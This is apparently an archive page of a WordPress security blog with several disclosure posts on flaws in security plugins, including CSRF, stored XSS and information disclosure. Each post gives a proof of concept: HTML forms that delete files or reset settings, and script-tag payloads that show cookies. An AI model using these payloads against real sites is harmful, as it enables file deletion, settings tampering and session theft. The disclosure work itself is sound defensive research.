19 Apr

Cross-Site Request Forgery (CSRF) Vulnerabilities in Triagis® Security Evaluation

Far too often it is found that security plugins for WordPress introduce security vulnerabilities of their own, which if you know much about security isn’t too surprising considering that so many security companies don’t seem to know and or care much about security.

We recently ran across the security plugin Triagis® Security Evaluation, which is described as “a simple lite-weight plugin to analyze your current WordPress installation, server for security vulnerabilities”. While taking a look over the plugin we found that it made functions available through WordPress’ AJAX functionality that are restricted to Administrator level users, but lack protection against cross-site request forgery (CSRF). Through that an attacker could cause a logged in Administrator to change the WordPress content directory’s location, change the website’s file permissions, delete arbitrary files on a website, change a user’s username, change the database prefix, or move the WordPress configuration file. While CSRF vulnerabilities are not something likely to be targeted at this time, an attacker could cause some serious issues if they were successful in exploiting this.

As an example of the issues let’s take a look at the function w4sl_delete_file_ajax() (in the file /admin/page-security-informations.php), which handles deleting files.

The function checks if the user making the request is an Administrator:

575
576
if( !is_super_admin())
	die( json_encode( array( 'error' => 'Unauthorized access !!' )));

Then it checks if the file being requested to exists and is readable:

578
579
580
581
582
583
$file = w4sl_sanitize_path( $_POST['file'] );
if( empty( $file ) || !file_exists( $file ))
	die( json_encode( array( 'error' => 'File not found !!' )));
 
if( !is_readable( $file ))
	die( json_encode( array( 'error' => 'File not readable !!' )));

After that it deletes the file:

585
@unlink( $file );

Nowhere in the function is there a check for valid nonce, which is used to prevent CSRF in WordPress.

Proof of Concept

The following proof of concept will delete a file named test.txt in the root directory of the WordPress install.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/admin-ajax.php" method="POST">
<input type="hidden" name="action" value="w4sl_delete_file" />
<input type="hidden" name="file" value="../test.txt" />
<input type="submit" value="Submit" />
</form>
</body>
</html>

Timeline

  • April 10, 2017 – Developer notified.
  • April 19, 2017 – WordPress.org Plugin Directory notified.
  • April 19, 2017 – Removed from WordPress.org Plugin Directory.
27 Feb

Vulnerability Details: Arbitrary File Viewing Vulnerability in WP Hide & Security Enhancer

To provide our customers with the best information possible on vulnerabilities that have been in WordPress plugins they use, we create posts, like this one, which include the details of vulnerabilities for which the discoverer has not released a report with those details already. That allows our customers to better understand how the vulnerability had or could have impacted their website.

For existing customers, please log in to your account to view the details of this vulnerability.

If you are not currently a customer, when you sign up now you can try the service for free for the first month (there are a lot of other reason that you will want to sign up beyond access to posts like this one).

If you are a security researcher please contact us to get free access to all of our Vulnerability Details posts.

07 Feb

Persistent Cross-Site Scripting (XSS) Vulnerability in XO Security

When it comes to trying to improve the security surrounding WordPress one of the big impediments is the security industry. One of the things we see them doing is providing misleading and sometimes outright false information to the public about security. One outright falsehood that has been widely spread is that there are lots of brute force attacks against WordPress admin passwords, when based on security companies own evidence are not happening at all. What is really happening are dictionary attacks, which involve an attacker try to login using common passwords. That type of attack is easily protected against by using a strong password, something that WordPress does a good job of helping you do. What might explain why security companies are saying something that isn’t true here is so that they can use the false claim to promote their plugins and services, like we have found Wordfence doing. The problem with this is that every plugin on the website introduces the possibility of a vulnerability, including security plugins.

Take the plugin XO Security that we recently ran across, which is promoted as providing “enhanced login security.” It provides a number of features and by default it will log login attempts. That involves storing and outputting user input data, which needs to be properly handled, but in that wasn’t happening, which was allowing for persistent cross-site scripting (XSS).

When a failed login attempts occurs the plugin’s function failed_login(), in the file /main.php, is run. If the failed login attempt doesn’t involve a username that already exists on the website, the password was logged without being sanitized in version 1.5.2:

292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
function failed_login( $user_name ) {
	global $wpdb;
 
	$login_time = current_time( 'mysql' );
	$ip_address = $this->get_ipaddress();
	$lang = $this->get_language();
	$user_agent = $this->get_user_agent();
	$password = filter_input ( INPUT_POST, 'pwd' );
 
	if ( get_user_by( 'login', $user_name ) ) {
		$password = null;
	}
 
	$wpdb->insert( $this->loginlog_table, array(
		'success' => false,
		'login_time' => $login_time,
		'ip_address' => $ip_address,
		'lang' => $lang,
		'user_agent' => $user_agent,
		'user_name' => $user_name,
		'failed_password' =>F% $password
	) );

When the data was output on the page /wp-admin/users.php?page=xo-security-login-log in 1.5.2  there was no escaping of the password value (in the file /admin.php):

159
160
161
162
163
164
165
$datas = $wpdb->get_results( $wpdb->prepare(
	"SELECT `id`,`success`,`login_time` as `logintime`,`ip_address` as `ipaddress`,`lang`,`user_agent` as `useragent`,`user_name` as `loginname`,`failed_password` as `failedpassword`" .
	"FROM {$loginlog_table}{$where} ORDER BY `{$orderby}` {$order} LIMIT %d, %d;", $start, $per_page
), 'ARRAY_A' );
$this->items = $datas;
 
$this->set_pagination_args( array( 'total_items' => $total_items, 'per_page' => $per_page, 'total_pages' => ceil( $total_items / $per_page ) ) );

After we notified the developer of the vulnerability they released version 1.5.3, which fixed it by running the password value through esc_html() when saving it and when outputting it.

Proof of Concept

The following proof of concept will cause any available cookies to be shown in an alert box when visiting the page /wp-admin/users.php?page=xo-security-login-log.

Attempt to login into WordPress with a username that doesn’t exist on the website and the following as the password:

<script>alert(document.cookie);</script>

Timeline

  • February 6, 2017 – Developer Notified
  • February 7, 2017 – Version 1.5.3 released, which fixes vulnerability.
02 Jan

Information Disclosure Vulnerability in Pike Firewall

In our testing of WordPress security plugins to see what, if any, protection they provide against the exploitation of actual vulnerabilities in other plugins the results haven’t been good so far. Most of the plugins tested haven’t provided any protection against those vulnerabilities. That hasn’t really surprised us, as much of what these plugins do doesn’t have any impact on what hackers actually try to do. One example is that many of these plugins check if you have change the database prefix to something other than the default “wp_”, but knowing the database prefix is rarely needed for vulnerabilities we see being exploited. If knowing the database prefix was a big deal then the vulnerability we recently found in a security plugin would be a big deal, as the vulnerability exposes that.

While doing a few quick security checks over the plugin Pike Firewall we noticed that it has the capability to log login attempts. We and others have found that capability in plugins has introduced security vulnerabilities into plugins due to improper handling of user input that comes through that. One of things that has been an issue with other plugins is that malicious JavaScript code placed in the HTTP header field X-Forwarded-For will get displayed on the plugin’s pages unsanitized or unescaped leading to cross-site scripting (XSS). In this case we found it caused another issue when tried logging in with it set to malicious code we got this error:

WordPress database error: []
SHOW FULL COLUMNS FROM `wp_pike_firewall_login`

The database prefix is being shown in that error message.

In looking at the underling code the cause of this is (in the file /pikefirewall.php):

2756
2757
2758
2759
if ( !$wpdb->insert($pike_tables['login'], array('username' => $username, 'user_address' =>; $pike_ip, 'user_agent' => $pike_agent, 'type' => $type, 'success' =&gt; $success), array('%s', '%s', '%s'))) {
	$wpdb>show_errors();
	wp_die($wpdb->print_error());
}

You can see that error reporting is enabled and if there is an error it gets printed, which shouldn’t be happening in a non-development environment since as our example shows it is disclosing non-public information.

We contacted the developer about the issue on December 19, but we have not heard back from them and the vulnerability has not been fixed.

Proof of Concept

With login attempt logging turned on, set the X-Forwarded-For HTTP header to

<script>alert(document.cookie);</script>

and attempt to log in to WordPress (the username/password doesn’t matter).

Timeline

  • December 19, 2016 – Developer notified.
02 Sep

Authenticated Persistent Cross-Site Scripting (XSS) Vulnerability in Centrora Security

Recently while during some quick security checks over security plugins we noticed that the protection against cross-site request forgery (CSRF) in the Centrora Security plugin was easily bypassed. To provide an example of that in action we looked at how that could be used to insert JavaScript code into a page, which would be a cross-site scripting (XSS) vulnerability. While we doing that we realized there was an additional security issue with the plugin, it fails to restrict its AJAX functions to intended user levels. Using the example from the first vulnerability that leads to authenticated persistent cross-site scripting (XSS) and it could have possibly lead to other issues as of version 6.5.6.

The plugin makes the function runAction() accessible through WordPress’s AJAX with the following code in the file /vendor/oseframework/ajax/oseAjax.php:

70
71
72
73
74
75
public static function addActions($func)
{
	if (class_exists('oseWordpress'))
	{
		add_action('wp_ajax_'.$func, 'oseAjax::runAction');
	}

That makes the function accessible to anyone logged in to WordPress, so if something is only intended for users with certain roles, you need to check for that. The runAction() function didn’t do that, but if the CSRF protection was working it would provide a similar protection in most cases since a lower level user wouldn’t have the access to the proper nonce to pass that check. The function secureCheck() run in that function should do that, but didn’t due to the issue mentioned in our other post.

33
34
35
36
37
38
39
40
public static function runAction()
{
	$centrora = oseFirewall::runApp();
	self::secureCheck();
	$requst = $centrora->runController($_REQUEST['controller'] . 'Controller', $_REQUEST['task']);
	$requst->execute();
 
}

From the request goes to the runController() function in the file /classes/Library/oseFirewallBase.php:

289
290
291
292
293
294
public static function runController ($controller, $action) {
	//global $centrora;
	$centrora = self::runApp();
	$requst = $centrora->runController($controller, $action);
	$requst->execute();
}

No check was done there either. From the request goes to the execute() function in the file /vendor/phpixie/core/classes/PHPixie/Request.php:

184
185
186
187
188
189
190
191
192
193
194
195
196
197
public function execute()
{
	$this->pixie->cookie->set_cookie_data($this->_cookie);
	$class = $this->param('namespace',$this->pixie->app_namespace).'Controller\\'.ucfirst($this->param('controller'));
	$controller = $this->pixie->controller($class);
	$controller->request = $this;
	if (isset($_REQUEST['action'])) {
		$controller->run($_REQUEST['action']);
		return $controller->response;
	} else {
		$controller->run($this->param('action'));
		return $controller->response;
	}
}

No check was done there either. From the request goes to the run() function in the file /vendor/phpixie/core/classes/PHPixie/Controller.php:

96
97
98
99
100
101
102
103
104
105
106
107
108
public function run($action)
{
	$action = 'action_'.$action;
	if (!method_exists($this, $action))
		throw new \PHPixie\Exception\PageNotFound("Method {$action} doesn't exist in ".get_class($this));
 
	$this->execute = true;
	$this->before();
	if ($this->execute)
		$this->$action();
	if ($this->execute)
		$this->after();
}

From there the action specified in the request is run, going back to example from the previous post the action run is addips, which is handle through the function action_Addips() in the file /classes/App/Controller/ManageipsController.php. Once again no check if the user should have access was done and the saving of the “title” input happens without any sanitization (as detailed in the other post):

59
60
61
62
63
64
65
public function action_Addips() {
	$this->model->loadRequest();
	$ipmanager = $this->model->getFirewallIpManager ();
	$ip_start = $this->model->getVar('ip_start', null); 
	$ip_type =  $this->model->getVar('ip_type', null);
	$ip_status = $this->model->getInt('ip_status', 1);
	$title =  $this->model->getVar('title', 'Backend Added IP');

The “title” value is returned on the page/wp-admin/admin.php?page=ose_fw_manageips through an AJAX request through the function action_GetACLIPMap() in the file /classes/App/Controller/ManageipsController.php that doesn’t escape it either.

On the day we contacted the developer about the issue they fixed the lack of user level checking with the release of version 6.5.7 of the plugin, and then fixed the lack of sanitization with the release of 6.5.9 two days later.

Proof of Concept

The following proof of concept will cause an alert box with any accessible cookies to be shown on the page /wp-admin/admin.php?page=ose_fw_manageips, when logged in to WordPress.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/admin-ajax.php" method="POST">
<input type="hidden" name="action" value="addips" />
<input type="hidden" name="task" value="addips" />
<input type="hidden" name="option" value="com_ose_firewall" />
<input type="hidden" name="controller" value="manageips" />
<input type="hidden" name="title" value='"><script>alert(document.cookie);</script>' />
<input type="hidden" name="ip_type" value="ip" />
<input type="hidden" name="ip_start" value="1.1.1.1" />
<input type="hidden" name="ip_end" value="" />
<input type="hidden" name="ip_status" value="1" />
<input type="hidden" name="centnounceForm" value="false" />
<input type="submit" value="Submit" />
</form>
</body>
</html>

Timeline

  • 8/30/2016 – Developer notified.
  • 8/30/2016 – Version 6.5.7 released, which fixes the issue.
02 Sep

Cross-Site Request Forgery (CSRF)/Cross-Site Scripting (XSS) Vulnerability in Centrora Security

When it comes to writing secure code one good piece of advice is to use the security functions provided in the environment you are using instead of making your own. The developers of Centrora Security decided not to do that in the cross-site request forgery (CSRF) protection for AJAX requests in the plugin and in their custom code they made a mistake that nullified the protection as of version 6.5.6.

According the plugin’s description it is able to help identify security vulnerabilities, but it would seem not this one:

The built-in Malware and Security Scanner can also help you identify any security risks, malicious codes, spam, virus, SQL injection and security vulnerabilities existing in your online system.

AJAX requests are sent to the runAction() function in the class oseAjax, located in the file /vendor/oseframework/ajax/oseAjax.php :

33
34
35
36
37
38
39
40
public static function runAction()
{
	$centrora = oseFirewall::runApp();
	self::secureCheck();
	$requst = $centrora->runController($_REQUEST['controller'] . 'Controller', $_REQUEST['task']);
	$requst->execute();
 
}

The CSRF protection occurs in the secureCheck() function called in that, but in version 6.5.6 there was a problem with the function’s code:

41
42
43
44
45
46
47
48
49
50
51
52
53
54
private static function secureCheck()
{
	if (!empty($_REQUEST['centnounceForm'])) {
		$centnounce = (isset($_REQUEST['centnounceForm'])) ? $_REQUEST['centnounceForm'] : '';
	}
	else {
		$centnounce = (isset($_REQUEST['centnounce'])) ? $_REQUEST['centnounce'] : '';
 
		if (!self::verifyNounce($centnounce))
		{
			die('Sorry, our software is CSRF proof.');
		}
	}
}

If the request includes a GET or POST input named “centnounceForm” then the value of that was set to the variable $centnounce and the function stops running without checking if a valid nonce is included by running it through the function verifyNounce().

Also worth noting is that the code appears to be used with a Joomla version of the software as well, but when used in the Joomla version the nonce is never checked by verifyNounce(), instead it is always returns true:

55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
private static function verifyNounce($centnounce)
{
	if (OSE_CMS == 'joomla')
	{
		return true;
	}
	else
	{
		if (isset($_SESSION['centnounce']) && $_SESSION['centnounce'] == $centnounce) {
			return true;
		} else {
			return false;
		}
	}
}

A cross-site request forgery (CSRF) vulnerability’s severity depends on what it would possible actions you could cause someone to take without them intending. In this case one possibility is to use it to cause persistent cross-site scripting (XSS) due to lack of sanitization or escaping for items on the  IP Control page, /wp-admin/admin.php?page=ose_fw_manageips, of the plugin.

The lack of sanitization occurred for the “title” input in the function action_Addips() in the file /classes/App/Controller/ManageipsController.php:

59
60
61
62
63
64
65
public function action_Addips() {
	$this->model->loadRequest();
	$ipmanager = $this->model->getFirewallIpManager ();
	$ip_start = $this->model->getVar('ip_start', null); 
	$ip_type =  $this->model->getVar('ip_type', null);
	$ip_status = $this->model->getInt('ip_status', 1);
	$title =  $this->model->getVar('title', 'Backend Added IP');

The getVar function, which didn’t sanitize it,  can be found in the file /vendor/oseframework/request/oseRequest.php.

The value is returned through an AJAX request through the function action_GetACLIPMap() in the file /classes/App/Controller/ManageipsController.php that didsn’t escape it.

On the day we contacted the developer about the issue they fixed the broken cross-site request forgery (CSRF) protection with the release of version 6.5.7 of the plugin, and then fixed the lack of sanitization with the release of 6.5.9 two days later.

Proof of Concept

The following proof of concept will cause an alert box with any accessible cookies to be shown on the page /wp-admin/admin.php?page=ose_fw_manageips.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/admin-ajax.php" method="POST">
<input type="hidden" name="action" value="addips" />
<input type="hidden" name="task" value="addips" />
<input type="hidden" name="option" value="com_ose_firewall" />
<input type="hidden" name="controller" value="manageips" />
<input type="hidden" name="title" value='"><script>alert(document.cookie);</script>' />
<input type="hidden" name="ip_type" value="ip" />
<input type="hidden" name="ip_start" value="1.1.1.1" />
<input type="hidden" name="ip_end" value="" />
<input type="hidden" name="ip_status" value="1" />
<input type="hidden" name="centnounceForm" value="false" />
<input type="submit" value="Submit" />
</form>
</body>
</html>

Timeline

  • 8/30/2016 – Developer notified.
  • 8/30/2016 – Version 6.5.7 released, which fixes the issue.
29 Jul

Cross-Site Request Forgery (CSRF)/Cross-Site Scripting (XSS) Vulnerability in User Activity Log

Every additional plugin that you add to your WordPress website adds additional security risk, that includes security plugins. Recently we did a quick check over plugins designed to allow you to keep track actions taken by users on your website. In several of cases we found rather minor security vulnerabilities. Like the first issue we found in the plugin User Activity Log, this one involves a lack of protection against cross-site request forgery (CSRF).

This vulnerability involves a lack of protection against CSRF when saving the plugin’s settings. That is due to a lack on a nonce.

This can be combined with cross-site scripting (XSS) on the Email settings page. While the values are all eventually validated or sanitized, the POST inputs “sol-mail-to” and “sol-mail-from” are stored in variables $to_email and $from_email respectively ahead of them being validated in the file /user_settings_menu.php:

460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
$to_email = $_POST['sol-mail-to'];
$from_email = $_POST['sol-mail-from'];
$mail_msg = ual_test_input($_POST['sol-mail-msg']);
$emailEnable = $_POST['emailEnable'];
update_option('enable_email', $emailEnable);
if (isset($_POST['emailEnable'])) {
	if ($_POST['emailEnable'] == '1') {
		if ($mail_msg == "") {
			$msg = __("Please enter message", 'wp_user_log');
		}
		if ($to_email == "" || $from_email == "") {
			$msg = __("Please enter the email address", 'wp_user_log');
		}
		if (!filter_var($to_email, FILTER_VALIDATE_EMAIL) || !filter_var($from_email, FILTER_VALIDATE_EMAIL) || !is_email($to_email) || !is_email($from_email)) {
			$msg = __("Please enter valid email address", 'wp_user_log');
		} else {
			update_option('to_email', $to_email);
			update_option('from_email', $from_email);
			update_option('email_message', $mail_msg);
		}
	}
}

Placing malicious JavaScript code in those inputs will cause there values to not be saved permanently, but the values are later echoed out on the page at

530
<input name="sol-mail-from" type="email" value="<?php echo $from_email; >" />

and

537
<input name="sol-mail-to" type="email" value="<?php echo $to_email; >" />

Since the cross-site scripting (XSS) is reflected and not persistent, in major web browsers other than Firefox it would be hard to exploit this since you would need to get around the XSS filtering they include to protect against this type of exploit.

We received a response from the developer the same day we contacted this issue and the other we discovered, but a month later the plugin has yet to receive an update, so the vulnerabilities still exist in the current version, 1.2.3.

Proof of Concept

The following proof of concept will cause any available cookies to shown in alert box when logged in to WordPress as an Administrator. Major web browsers other than Firefox provide XSS filtering, so this proof of concept will not work in those web browsers.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/admin.php?page=email_settings_menu"" method="POST">
<input type="hidden" name="emailEnable" value="1" />
<input type="hidden" name="sol-mail-from" value='"><script>alert(document.cookie);</script>' />
<input type="submit" name="btnsolEmail" value="Save Changes" />
</form>
</body>
</html>

Timeline

  • 6/29/2016 – Developer notified.
  • 6/29/2016 – Developer responds.
  • 10/11/2016 – Version 1.2.6 released, which fixes issue.
29 Jul

Cross-Site Request Forgery (CSRF) Vulnerability in User Activity Log

Every additional plugin that you add to your WordPress website adds additional security risk, that includes security plugins. Recently we did a quick check over plugins designed to allow you to keep track actions taken by users on your website. In several of cases we found rather minor security vulnerabilities. We found two related issues in the plugin User Activity Log due to a lack of protection against cross-site request forgery (CSRF).

A CSRF vulnerability involves causing someone to take an action they didn’t intend to. In the case of the first vulnerability in the plugin, if you could get an Administrator to visit a page you control you could cause them to in turn access the page /wp-admin/admin.php?page=general_settings_menu&db=reset, which would cause all logged activity to be deleted. You can see that the URL doesn’t contain a nonce, which is what is used to protect agains this type of vulnerability. This isn’t something that is likely to be exploited, but it is concern since it would make it easier for someone to erase some of the evidence of what malicious action they might have taken.

We received a response from the developer the same day we contacted this issue and the other we discovered, but a month later the plugin has yet to receive an update, so the vulnerabilities still exist in the current version, 1.2.3.

Proof of Concept

The following proof of concept will cause all logged activity to be deleted when accessed by an Administrator level account

Make sure to replace “[path to WordPress]” with the location of WordPress.

http://[path to WordPress]/wp-admin/admin.php?page=general_settings_menu&db=reset

Timeline

  • 6/29/2016 – Developer notified.
  • 6/29/2016 – Developer responds.
  • 6/29/2016 – Version 1.2.4 released, which fixes issue.
18 Jul

Settings Change Vulnerability in Total Security

We were recently doing some basic security checks over WordPress security plugins and identified a possible issue in the plugin Total Security. While the issue we first were looking into turned out to not be exploitable, we noticed a couple of other security vulnerabilities in the plugin. The first being a persistent cross-site scripting (XSS) vulnerability. The second vulnerability allows anyone to change the plugin’s settings.

While it seems pretty bad that a security plugin has security vulnerabilities of its own, what is more incredible is the response from the developer. It took them 5 days to get back to us and at that point it doesn’t even look like they have really looked over the information we provided them, since they were asking what the solution to the vulnerabilities despite much of that being provided in a link we had included in original message. Yesterday, 17 days later, they released a new version of the plugin, 3.3.8, which didn’t fix either of the vulnerabilities. Oddly the version available before that was 3.4, so they move backed versions as well.

One of things you can change on the plugin’s setting’s page is whether the plugin feature that requires you visit a special URL to access to be able to log in to WordPress. So through the vulnerability that could be disabled, allowing an attacker easier access to the login page. Someone that was looking to mess with someone might turn on the feature, if it wasn’t enabled, as a couple of times recently we had people come to us who thought their website was broken and it turned out they were using a security addon that can change the location of the website’s backend and they either had forgotten it was in use or someone else had enabled it.

The cause of the vulnerability starts with code in the file /modules/class-process.php, which caused the function fdx_update_post_settings() to run if the POST input “fdx_page” is submitted to any WordPress page:

5
6
if (isset( $_POST['fdx_page']) ) {
add_filter('init', array( $this, 'fdx_update_post_settings') );

That function allows access to a couple of function and to resetting the plugin’s settings:

44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
function fdx_update_post_settings() {
		   switch ( $_POST['fdx_page'] ) {
                    case 'fdx_form_all':
					$this->fdx_process_all();
                    # first donation hidding time 'now'
                    if( !get_site_option( 'fdx1_hidden_time' ) ) {
                    $time = time();
                    update_option('fdx1_hidden_time', $time ); //grava o tempo em
                    }
					break;
                    case 'fdx_reset':
				    update_option( 'fdx_settings', false );
					break;
 
                    case 'fdx_clean':
				    $this->fdx_process_clean();
					break;
 
                    case 'hide_message':
				    # Hide donation message for 33 days
                    $time = time() + 33 * 24 * 60 * 60;
                    update_option('fdx1_hidden_time', $time );
					break;
    }
}

If you were to submit “fdx_reset” as the value of the POST input “fdx_page”, that would turn off the login page protection if it was enabled.

Submitting “fdx_form_all” as the value of the POST input “fdx_page” would cause the function fdx_process_all() and changes the plugin’s settings:

73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
function fdx_process_all(){
            if ( isset( $_POST['p2_select_1'] ) ) {
        	$settings['p2_op1'] = $_POST['p2_select_1'];
            }
 
            if ( isset( $_POST['p3_select_1'] ) ) {
        	$settings['p3_op1'] = $_POST['p3_select_1'];
            }
 
            if ( isset( $_POST['p4_check_1'] ) ) {
				$settings['p4_check_1'] = true;
			} else {
				$settings['p4_check_1'] = false;
			}
 
            if ( isset( $_POST['p4_check_2'] ) ) {
				$settings['p4_check_2'] = true;
			} else {
				$settings['p4_check_2'] = false;
			}
 
            if ( isset( $_POST['p4_check_3'] ) ) {
				$settings['p4_check_3'] = true;
			} else {
				$settings['p4_check_3'] = false;
			}
 
             if ( isset( $_POST['p6_check_1'] ) ) {
				$settings['p6_check_1'] = true;
			} else {
				$settings['p6_check_1'] = false;
			}
 
            if ( isset( $_POST['p7_check_1'] ) ) {
				$settings['p7_check_1'] = true;
			} else {
				$settings['p7_check_1'] = false;
			}
//----------text
            if ( isset($_POST['p6_key']) ) {
	        $settings['p6_key'] = stripslashes($_POST['p6_key']);
			}
            if ( isset($_POST['p6_url']) ) {
	          $settings['p6_url'] = stripslashes($_POST['p6_url']);
	   		}
update_option( 'fdx_settings', $settings );
}

Oddly the plugin’s setting page does have a nonce that could have limited you changing the settings (but not resetting them) if you didn’t have access to it, but as the previous code shows that isn’t checked.

Proof of Concept

The following proof of concept will reset the plugin’s settings.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]" method="POST">
<input type="hidden" name="fdx_page" value="fdx_reset" />
<input type="submit" value="Submit" />
</form>
</body>
</html>

Timeline

  • 6/30/2016 – Developer notified.
  • 7/5/2016 – Developer responds.
  • 7/18/2016 – WordPress.org Plugin Directory notified.
  • 7/19/2016 – Removed from WordPress.org Plugin Directory.
  • 8/10/2016 – Version 3.4.1 released, which fixes vulnerability.